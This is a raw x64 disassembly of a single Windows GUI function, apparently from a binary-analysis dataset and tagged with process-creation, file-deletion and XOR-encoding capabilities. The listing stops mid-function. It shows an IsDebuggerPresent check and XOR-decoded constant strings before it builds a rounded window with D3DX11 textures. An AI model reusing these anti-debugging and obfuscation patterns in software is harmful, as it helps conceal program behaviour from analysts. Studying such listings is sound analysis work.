Function at 0x7ff738247e80
Capabilities:
Create process on windows
Delete file
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov eax, 0x18e0
call fcn.7ff7382b22c0
sub rsp, rax
movaps xmmword [rsp + 0x18d0], xmm6
movaps xmmword [rsp + 0x18c0], xmm7
movaps xmmword [rsp + 0x18b0], xmm8
movaps xmmword [rsp + 0x18a0], xmm9
movaps xmmword [rsp + 0x1890], xmm10
movaps xmmword [rsp + 0x1880], xmm11
movaps xmmword [rsp + 0x1870], xmm12
movaps xmmword [rsp + 0x1860], xmm13
movaps xmmword [rsp + 0x1850], xmm14
movaps xmmword [rsp + 0x1840], xmm15
lea rbp, [rsp + 0x80]
and rbp, 0xffffffffffffffe0
call fcn.7ff7382469e0
lea rcx, [0x7ff7392b7c10]
call fcn.7ff73825d1f0
call qword [sym.imp.kernel32.dll_IsDebuggerPresent]
movabs rdi, 0x5a403ecfd3bd2e45
movabs rbx, 0x93b2677c7ba8c678
movabs r14, 0xa7740cce8ac2c096
movabs r15, 0xd44b2bbd456c2187
lea rsi, [0x7ff7382c498a]
test eax, eax
je 0x7ff738248062
movabs rax, 0x805798886ff6b01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
movabs rax, 0xf33a499dcf9090b6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
movabs rax, 0x9b0c0be4002475a7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x330], rax
movabs rax, 0x93b2233328eae62c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x9c0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x9c8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x9d0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x9d8], rax
vmovdqu ymm0, ymmword [rbp + 0x9c0]
vpxor ymm0, ymm0, ymmword [rbp + 0x320]
vmovdqa ymmword [rbp + 0x320], ymm0
lea rdx, [rbp + 0x320]
lea rcx, [rbp + 0xf10]
vzeroupper
call fcn.7ff73824f670
mov rdx, rax
lea rcx, [0x7ff7392b7c10]
call fcn.7ff73825ee80
mov rdx, rsi
lea rcx, [rbp + 0xf50]
call fcn.7ff73824f670
mov rdx, rax
lea rcx, [0x7ff7392b7c10]
call fcn.7ff7382599f0
mov ecx, 0x64
call qword [sym.imp.kernel32.dll_Sleep]
call fcn.7ff738247b50
movabs rax, 0x3f3071efa1d85d10
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
movabs rax, 0xc3156382aaa6a5f8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
movabs rax, 0xd44b2bbd456c53e2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x9e0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x9e8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x9f0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x9f8], rax
vmovdqu ymm0, ymmword [rbp + 0x360]
vpxor ymm1, ymm0, ymmword [rbp + 0x9e0]
vmovdqa ymmword [rbp + 0x360], ymm1
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0xfe0]
vzeroupper
call fcn.7ff73824f670
mov rdx, rax
lea rcx, [0x7ff7392b7c10]
call fcn.7ff73825ee80
call qword [sym.imp.user32.dll_GetDesktopWindow]
lea rdx, [rbp + 0x4c8]
mov rcx, rax
call qword [sym.imp.user32.dll_GetWindowRect]
mov dword [rbp + reloc.ucrtbase.dll_free], 0x50
mov dword [rbp + reloc.ucrtbase.dll_free], 0x40
lea rax, [0x7ff73824e350]
mov qword [rbp + 0x388], rax
xor r14d, r14d
mov qword [rbp + 0x390], r14
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
mov qword [rbp + 0x398], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3b0], xmm1
lea rax, [0x7ff7382d1548]
mov qword [rbp + 0x3c0], rax
mov qword [rbp + 0x3c8], r14
lea rcx, [rbp + 0x380]
call qword [sym.imp.user32.dll_RegisterClassExW]
movss xmm1, dword [0x7ff7382e30cc]
cvttss2si r10d, xmm1
movss xmm2, dword [0x7ff7382e30c8]
cvttss2si r9d, xmm2
mov eax, dword [rbp + reloc.ucrtbase.dll_free]
cdq
sub eax, edx
sar eax, 1
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss xmm10, dword [0x7ff7382d2b38]
mulss xmm1, xmm10
subss xmm0, xmm1
cvttss2si r8d, xmm0
mov eax, dword [rbp + reloc.ucrtbase.dll_free]
cdq
sub eax, edx
sar eax, 1
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm2, xmm10
subss xmm0, xmm2
cvttss2si ecx, xmm0
mov qword [rsp + 0x58], r14
mov rax, qword [rbp + 0x398]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x38], r10d
mov dword [rsp + 0x30], r9d
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], ecx
mov r9d, 0x80000000
lea r8, [0x7ff7382d1568]
mov rdx, qword [rbp + 0x3c0]
xor ecx, ecx
call qword [sym.imp.user32.dll_CreateWindowExW]
mov rdi, rax
mov qword [rbp + 8], rax
mov rcx, rax
call fcn.7ff73824e100
test al, al
jne 0x7ff7382482f3
call fcn.7ff73824e280
mov rdx, qword [rbp + 0x398]
mov rcx, qword [rbp + 0x3c0]
call qword [sym.imp.user32.dll_UnregisterClassW]
lea eax, [r14 + 1]
lea r11, [rsp + 0x18e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov edx, 0xa
mov rcx, rdi
call qword [sym.imp.user32.dll_ShowWindow]
mov rcx, rdi
call qword [sym.imp.user32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x28], 0x14
mov qword [rsp + 0x20], 0x10
mov edx, 0x37c0
mov r9d, 8
mov r8d, 0x440
lea rcx, [0x7ff7382c52e8]
call fcn.7ff738215980
xor ecx, ecx
call fcn.7ff738206600
mov rax, qword [0x7ff7392b7b20]
test rax, rax
jne 0x7ff738248376
mov r8d, 0x108d
lea rdx, [0x7ff7382c44c0]
lea rcx, [0x7ff7382c4a10]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rax, qword [0x7ff7392b7b20]
lea rbx, [rax + 8]
or dword [rbx], 3
test rax, rax
jne 0x7ff7382483a3
mov r8d, 0xbcf
lea rdx, [0x7ff7382c44c0]
lea rcx, [0x7ff7382c4a10]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rax, qword [0x7ff7392b7b20]
movss xmm0, dword [rax + reloc.ucrtbase.dll_free]
addss xmm0, dword [0x7ff7382d2b90]
cvttss2si eax, xmm0
cvttss2si r9d, dword [0x7ff7382e30cc]
cvttss2si r8d, dword [0x7ff7382e30c8]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.gdi32.dll_CreateRoundRectRgn]
mov rdx, rax
mov r13d, 1
mov r8d, r13d
mov rcx, rdi
call qword [sym.imp.user32.dll_SetWindowRgn]
xor ecx, ecx
call fcn.7ff738227c70
xor edx, edx
mov rcx, rdi
call fcn.7ff738238630
mov rdx, qword [0x7ff7392b7f48]
mov rcx, qword [0x7ff7392b7f28]
call fcn.7ff738238370
lea rcx, [rbp + 0xe70]
call fcn.7ff73822cc70
mov byte [rbp + 0xe90], r14b
mov byte [rbp + 0xe7c], r14b
mov dword [rbp + reloc.ucrtbase.dll_free], 5
mov dword [rbp + reloc.ucrtbase.dll_free], 5
mov dword [rbp + reloc.ucrtbase.dll_free], 0x3f99999a
lea rdi, [0x7ff7382d2748]
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0xe70]
movss xmm6, dword [0x7ff7382d2bc8]
movaps xmm2, xmm6
lea rdx, [0x7ff7382d1590]
mov rcx, qword [rbx + 0x30]
call fcn.7ff73822d760
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0xe70]
movaps xmm2, xmm6
lea rdx, [0x7ff7382d15b0]
mov rcx, qword [rbx + 0x30]
call fcn.7ff73822d760
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0xe70]
movss xmm2, dword [0x7ff7382d2bc4]
lea rdx, [0x7ff7382d15d0]
mov rcx, qword [rbx + 0x30]
call fcn.7ff73822d760
mov qword [rsp + 0x28], rdi
lea rax, [rbp + 0xe70]
mov qword [rsp + 0x20], rax
movss xmm3, dword [0x7ff7382d2bb0]
mov r8d, 0x5f8
lea rdx, [0x7ff738a39ce0]
mov rcx, qword [rbx + 0x30]
call fcn.7ff73822db80
xor r12b, r12b
xorps xmm11, xmm11
movss xmm6, dword [0x7ff7382d2ba8]
movss xmm14, dword [0x7ff7382d2c40]
movss xmm13, dword [0x7ff7382d2bd0]
movss xmm15, dword [0x7ff7382d2bd8]
movss xmm12, dword [0x7ff7382d2be8]
lea rbx, [0x7ff7382d0c48]
lea rdi, [0x7ff7382d1610]
lea r15, [0x7ff7392b7b30]
movaps xmm0, xmmword [0x7ff7382d2d60]
movups xmmword [rbp + 0xd40], xmm0
lea rdx, [rbp + 0xd40]
mov ecx, 6
call fcn.7ff738204a20
mov ecx, r13d
call fcn.7ff738204a80
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0xe38]
call qword [sym.imp.user32.dll_PeekMessageW]
test eax, eax
je 0x7ff7382485d0
nop dword [rax]
lea rcx, [rbp + 0xe38]
call qword [sym.imp.user32.dll_TranslateMessage]
lea rcx, [rbp + 0xe38]
call qword [sym.imp.user32.dll_DispatchMessageW]
movzx r12d, r12b
cmp dword [rbp + reloc.ucrtbase.dll_free], 0x12
cmove r12d, r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0xe38]
call qword [sym.imp.user32.dll_PeekMessageW]
test eax, eax
jne 0x7ff738248580
test r12b, r12b
jne 0x7ff73824d1e6
mov r8d, dword [0x7ff7392b7c08]
test r8d, r8d
je 0x7ff73824863b
mov r9d, dword [0x7ff7392b7c0c]
test r9d, r9d
je 0x7ff73824863b
mov rcx, qword [0x7ff7392b7f18]
test rcx, rcx
je 0x7ff73824860f
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x7ff7392b7f18], r14
mov r8d, dword [0x7ff7392b7c08]
mov r9d, dword [0x7ff7392b7c0c]
mov rcx, qword [0x7ff7392b7f20]
mov rax, qword [rcx]
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
xor edx, edx
call qword [rax + 0x68]
mov dword [0x7ff7392b7c0c], r14d
mov dword [0x7ff7392b7c08], r14d
call fcn.7ff73824e300
call fcn.7ff7382385e0
call fcn.7ff738239470
call fcn.7ff7382090c0
lea rcx, [rbp + 0x440]
call fcn.7ff73823e7f0
lea rcx, [rbp + 0x12f0]
call fcn.7ff73822cc70
cmp qword [0x7ff7392b7b30], 0
jne 0x7ff73824869c
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x440]
mov r8d, 0x10000
lea rdx, [0x7ff7388313f0]
mov rcx, qword [0x7ff7392b7f28]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x7ff7392b7b40], 0
jne 0x7ff7382486dd
mov qword [rsp + 0x30], r14
lea rax, [0x7ff7392b7b40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x440]
mov r8d, 0x2072ab
lea rdx, [0x7ff738e65ba0]
mov rcx, qword [0x7ff7392b7f28]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x7ff7392b7b48], 0
jne 0x7ff73824871e
mov qword [rsp + 0x30], r14
lea rax, [0x7ff7392b7b48]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x440]
mov r8d, 0x215c94
lea rdx, [0x7ff738a3a2e0]
mov rcx, qword [0x7ff7392b7f28]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x7ff7392b7b50], 0
jne 0x7ff73824875f
mov qword [rsp + 0x30], r14
lea rax, [0x7ff7392b7b50]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x440]
mov r8d, 0x840a8
lea rdx, [0x7ff7387ad340]
mov rcx, qword [0x7ff7392b7f28]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x7ff7392b7b58], 0
jne 0x7ff7382487a0
mov qword [rsp + 0x30], r14
lea rax, [0x7ff7392b7b58]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x440]
mov r8d, 0x215c17
lea rdx, [0x7ff738c4ff80]
mov rcx, qword [0x7ff7392b7f28]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x7ff7392b7b60], 0
jne 0x7ff7382487e1
mov qword [rsp + 0x30], r14
lea rax, [0x7ff7392b7b60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x440]
mov r8d, 0x215c94
lea rdx, [0x7ff738a3a2e0]
mov rcx, qword [0x7ff7392b7f28]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x7ff7392b7b68], 0
jne 0x7ff738248822
mov qword [rsp + 0x30], r14
lea rax, [0x7ff7392b7b68]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x440]
mov r8d, 0x249f2c
lea rdx, [0x7ff73906ce50]
mov rcx, qword [0x7ff7392b7f28]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x7ff7392b7b70], 0
jne 0x7ff738248863
mov qword [rsp + 0x30], r14
lea rax, [0x7ff7392b7b70]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x440]
mov r8d, 0x282f8b
lea rdx, [0x7ff73852a3b0]
mov rcx, qword [0x7ff7392b7f28]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x7ff7392b7b78], 0
jne 0x7ff7382488a4
mov qword [rsp + 0x30], r14
lea rax, [0x7ff7392b7b78]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x440]
mov r8d, 0x2472bf
lea rdx, [0x7ff7382e30f0]
mov rcx, qword [0x7ff7392b7f28]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x7ff7392b7b80]
test rcx, rcx
jne 0x7ff7382488ee
mov qword [rsp + 0x30], r14
lea rax, [0x7ff7392b7b80]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x440]
mov r8d, 0x1f88ee
lea rdx, [0x7ff7388413f0]
mov rcx, qword [0x7ff7392b7f28]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x7ff7392b7b80]
mov rax, qword [0x7ff7392b7b58]
mov qword [rbp + 0xb40], rax
lea rax, [0x7ff7382d15f0]
mov qword [rbp + 0xb48], rax
mov qword [rbp + 0xb50], rdi
mov qword [rbp + 0xb58], rsi
mov qword [rbp + 0xb60], rbx
mov rax, qword [0x7ff7392b7b50]
mov qword [rbp + 0xb68], rax
lea rax, [0x7ff7382d1620]
mov qword [rbp + 0xb70], rax
lea rax, [0x7ff7382d1630]
mov qword [rbp + 0xb78], rax
mov qword [rbp + 0xb80], rsi
mov qword [rbp + 0xb88], rbx
mov rax, qword [0x7ff7392b7b40]
mov qword [rbp + 0xb90], rax
lea rax, [0x7ff7382d1648]
mov qword [rbp + 0xb98], rax
lea rax, [0x7ff7382d1658]
mov qword [rbp + 0xba0], rax
mov qword [rbp + 0xba8], rsi
lea rax, [0x7ff7382d1668]
mov qword [rbp + 0xbb0], rax
mov rax, qword [0x7ff7392b7b48]
mov qword [rbp + 0xbb8], rax
lea rax, [0x7ff7382d1678]
mov qword [rbp + 0xbc0], rax
mov qword [rbp + 0xbc8], rdi
mov qword [rbp + 0xbd0], rsi
mov qword [rbp + 0xbd8], rbx
mov rax, qword [0x7ff7392b7b60]
mov qword [rbp + 0xbe0], rax
lea rax, [0x7ff7382d1688]
mov qword [rbp + 0xbe8], rax
mov qword [rbp + 0xbf0], rdi
mov qword [rbp + 0xbf8], rsi
mov qword [rbp + 0xc00], rbx
mov rax, qword [0x7ff7392b7b68]
mov qword [rbp + 0xc08], rax
lea rax, [0x7ff7382d16a8]
mov qword [rbp + 0xc10], rax
mov qword [rbp + 0xc18], rdi
mov qword [rbp + 0xc20], rsi
mov qword [rbp + 0xc28], rbx
mov rax, qword [0x7ff7392b7b70]
mov qword [rbp + 0xc30], rax
lea rax, [0x7ff7382d16c8]
mov qword [rbp + 0xc38], rax
mov qword [rbp + 0xc40], rdi
mov qword [rbp + 0xc48], rsi
mov qword [rbp + 0xc50], rbx
mov rax, qword [0x7ff7392b7b78]
mov qword [rbp + 0xc58], rax
lea rax, [0x7ff7382d16e8]
mov qword [rbp + 0xc60], rax
mov qword [rbp + 0xc68], rdi
mov qword [rbp + 0xc70], rsi
mov qword [rbp + 0xc78], rbx
mov qword [rbp + 0xc80], rcx
lea rax, [0x7ff7382d1708]
mov qword [rbp + 0xc88], rax
mov qword [rbp + 0xc90], rdi
mov qword [rbp + 0xc98], rsi
mov qword [rbp + 0xca0], rbx
lea rax, [rbp + 0xb40]
mov qword [rbp + 0x4e0], rax
lea rax, [rbp + 0xca8]
mov qword [rbp + 0x4e8], rax
lea r8, [rbp + 0x38]
lea rdx, [rbp + 0x4e0]
lea rcx, [rbp + 0x40]
call fcn.7ff73824e530
nop
mov qword [rbp + 0x100], 0
lea rdx, [rbp + 0x100]
mov ecx, 2
call fcn.7ff738204b50
xor edx, edx
mov r8d, 0x12f
lea rcx, [0x7ff7382ce160]
call fcn.7ff73820ef60
call fcn.7ff738243db0
mov rcx, qword [0x7ff7392b7b20]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov r15, qword [rcx + 0x3ed8]
movsd xmm0, qword [r15 + 0x20]
movsd qword [rbp + 0x30], xmm0
movss xmm9, dword [r15 + 0x28]
movss xmm8, dword [r15 + 0x2c]
mov rsi, qword [r15 + 0x298]
mov qword [rbp], rsi
add rcx, 0x37c8
lea rax, [rbp + 0x1380]
mov edx, 8
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x7ff738248b70
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
call fcn.7ff7382466a0
mov qword [rbp + 0x108], 0
mov rax, qword [0x7ff7392b7b20]
xor r8d, r8d
lea rdx, [rbp + 0x108]
mov rcx, qword [rax + 0x3ed8]
call fcn.7ff7382123c0
xor r8d, r8d
lea rdx, [0x7ff7382e30c8]
mov rcx, qword [0x7ff7392b7b20]
mov rcx, qword [rcx + 0x3ed8]
call fcn.7ff738212550
movss xmm1, dword [0x7ff7382d2b70]
subss xmm1, dword [0x7ff7382e30dc]
mulss xmm1, dword [0x7ff7382d2b08]
addss xmm1, dword [0x7ff7382e30dc]
movss dword [0x7ff7382e30dc], xmm1
movaps xmm0, xmmword [0x7ff7382d2d50]
movups xmmword [rbp + 0xd30], xmm0
lea rcx, [rbp + 0xd30]
call fcn.7ff738204570
mov dword [rbp + reloc.ucrtbase.dll_free], 0x3f800000
mov dword [rbp + reloc.ucrtbase.dll_free], 0x3f800000
mov qword [rbp + 0x118], 0
movss xmm1, dword [rbp + 0x34]
addss xmm1, xmm8
movss xmm0, dword [rbp + 0x30]
addss xmm0, xmm9
movss dword [rbp + 0x58], xmm0
movss dword [rbp + 0x5c], xmm1
mov dword [rsp + 0x40], r14d
movss xmm7, dword [rbp + reloc.ucrtbase.dll_free]
movss dword [rsp + 0x38], xmm7
mov dword [rsp + 0x30], eax
lea rax, [rbp + 0x110]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x118]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x58]
lea r8, [rbp + 0x30]
mov rdx, qword [0x7ff7392b7b30]
mov rcx, rsi
call fcn.7ff73822bf40
movss xmm1, dword [0x7ff7382d2b70]
xor ecx, ecx
call fcn.7ff7382049d0
mov edi, eax
mov rcx, qword [0x7ff7392b7b20]
test rcx, rcx
jne 0x7ff738248d2d
mov r8d, 0x108d
lea rdx, [0x7ff7382c44c0]
lea rcx, [0x7ff7382c4a10]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rcx, qword [0x7ff7392b7b20]
mov rcx, qword [rcx + 0x38]
add rcx, 0x58
mov edx, 2
call fcn.7ff73821f310
mov rbx, qword [rax]
mov rcx, qword [0x7ff7392b7b20]
test rcx, rcx
jne 0x7ff738248d6f
mov r8d, 0x108d
lea rdx, [0x7ff7382c44c0]
lea rcx, [0x7ff7382c4a10]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rcx, qword [0x7ff7392b7b20]
mov rcx, qword [rcx + 0x38]
add rcx, 0x58
mov edx, 2
call fcn.7ff73821f310
mov rcx, qword [rax]
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
lea rax, [0x7ff7382d1718]
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm11
movss xmm3, dword [0x7ff7382d2c34]
movss xmm2, dword [rcx + 0x14]
lea rdx, [rbp + 0xd68]
mov rcx, rbx
call fcn.7ff738231a40
movaps xmm0, xmm8
subss xmm0, dword [rax + 4]
subss xmm0, dword [0x7ff7382d2b90]
movss xmm1, dword [rbp + 0x34]
addss xmm1, xmm0
movss xmm0, dword [rbp + 0x30]
addss xmm0, xmm6
movss dword [rbp + 0x60], xmm0
movss dword [rbp + 0x64], xmm1
mov rdx, qword [0x7ff7392b7b20]
test rdx, rdx
jne 0x7ff738248e17
mov r8d, 0x108d
lea rdx, [0x7ff7382c44c0]
lea rcx, [0x7ff7382c4a10]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rdx, qword [0x7ff7392b7b20]
mov rbx, qword [rdx + 0x38]
cmp dword [rbx + 0x58], 2
jg 0x7ff738248e42
mov r8d, 0x72d
lea rdx, [0x7ff7382c4280]
lea rcx, [0x7ff7382c95c8]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rdx, qword [0x7ff7392b7b20]
mov rax, qword [rbx + 0x60]
mov rcx, qword [rax + 0x10]
movss xmm6, dword [rcx + 0x14]
test rdx, rdx
jne 0x7ff738248e75
mov r8d, 0x108d
lea rdx, [0x7ff7382c44c0]
lea rcx, [0x7ff7382c4a10]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rdx, qword [0x7ff7392b7b20]
mov rbx, qword [rdx + 0x38]
cmp dword [rbx + 0x58], 2
jg 0x7ff738248e99
mov r8d, 0x72d
lea rdx, [0x7ff7382c4280]
lea rcx, [0x7ff7382c95c8]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rax, qword [rbx + 0x60]
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm11
mov qword [rsp + 0x30], r14
lea rcx, [0x7ff7382d1718]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
lea r9, [rbp + 0x60]
movaps xmm2, xmm6
mov rdx, qword [rax + 0x10]
mov rcx, rsi
call fcn.7ff73822bbc0
mov rax, qword [0x7ff7392b7b20]
movups xmm0, xmmword [rax + 0x38a4]
movups xmmword [rbp + 0x4f0], xmm0
shufps xmm0, xmm0, 0xff
mulss xmm0, dword [rax + 0x37c8]
movss dword [rbp + reloc.ucrtbase.dll_free], xmm0
lea rcx, [rbp + 0x4f0]
call fcn.7ff738204570
mov esi, eax
movss dword [rsp + 0x20], xmm14
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x7ff7382d1720]
lea rcx, [rbp + 0xd60]
call fcn.7ff73820bb90
movaps xmm6, xmm8
subss xmm6, dword [rax + 4]
subss xmm6, dword [0x7ff7382d2b88]
mov rcx, qword [0x7ff7392b7b20]
test rcx, rcx
jne 0x7ff738248f66
mov r8d, 0x108d
lea rdx, [0x7ff7382c44c0]
lea rcx, [0x7ff7382c4a10]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rcx, qword [0x7ff7392b7b20]
mov rbx, qword [rcx + 0x38]
cmp dword [rbx + 0x58], 2
jg 0x7ff738248f91
mov r8d, 0x72d
lea rdx, [0x7ff7382c4280]
lea rcx, [0x7ff7382c95c8]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rcx, qword [0x7ff7392b7b20]
mov rax, qword [rbx + 0x60]
mov rdi, qword [rax + 0x10]
test rcx, rcx
jne 0x7ff738248fbf
mov r8d, 0x108d
lea rdx, [0x7ff7382c44c0]
lea rcx, [0x7ff7382c4a10]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rcx, qword [0x7ff7392b7b20]
mov rbx, qword [rcx + 0x38]
cmp dword [rbx + 0x58], 2
jg 0x7ff738248fe3
mov r8d, 0x72d
lea rdx, [0x7ff7382c4280]
lea rcx, [0x7ff7382c95c8]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rax, qword [rbx + 0x60]
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
lea rax, [0x7ff7382d1718]
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm11
movss xmm3, dword [0x7ff7382d2c34]
movss xmm2, dword [rcx + 0x14]
lea rdx, [rbp + 0xd58]
mov rcx, rdi
call fcn.7ff738231a40
movss xmm1, dword [rbp + 0x34]
addss xmm1, xmm6
movss xmm0, dword [rax]
addss xmm0, dword [0x7ff7382d2bbc]
addss xmm0, dword [rbp + 0x30]
movss dword [rbp + 0x68], xmm0
movss dword [rbp + 0x6c], xmm1
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm11
mov qword [rsp + 0x30], r14
lea rax, [0x7ff7382d1720]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
lea r9, [rbp + 0x68]
movaps xmm2, xmm11
xor edx, edx
mov rdi, qword [rbp]
mov rcx, rdi
call fcn.7ff73822bbc0
mov rax, qword [0x7ff7392b7b20]
movups xmm0, xmmword [rax + 0x38a4]
movups xmmword [rbp + 0x478], xmm0
shufps xmm0, xmm0, 0xff
mulss xmm0, dword [rax + 0x37c8]
movss dword [rbp + reloc.ucrtbase.dll_free], xmm0
lea rcx, [rbp + 0x478]
call fcn.7ff738204570
mov ebx, eax
movss dword [rsp + 0x20], xmm14
xor r9d, r9d
xor r8d, r8d
lea rsi, [0x7ff7382d1728]
mov rdx, rsi
lea rcx, [rbp + 0xd50]
call fcn.7ff73820bb90
movaps xmm6, xmm8
subss xmm6, dword [rax + 4]
subss xmm6, dword [0x7ff7382d2b88]
movss dword [rsp + 0x20], xmm14
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
lea rcx, [rbp + 0xd70]
call fcn.7ff73820bb90
movss xmm1, dword [rbp + 0x34]
addss xmm1, xmm6
movaps xmm0, xmm9
movss xmm6, dword [0x7ff7382d2ba8]
subss xmm0, xmm6
subss xmm0, dword [rax]
addss xmm0, dword [rbp + 0x30]
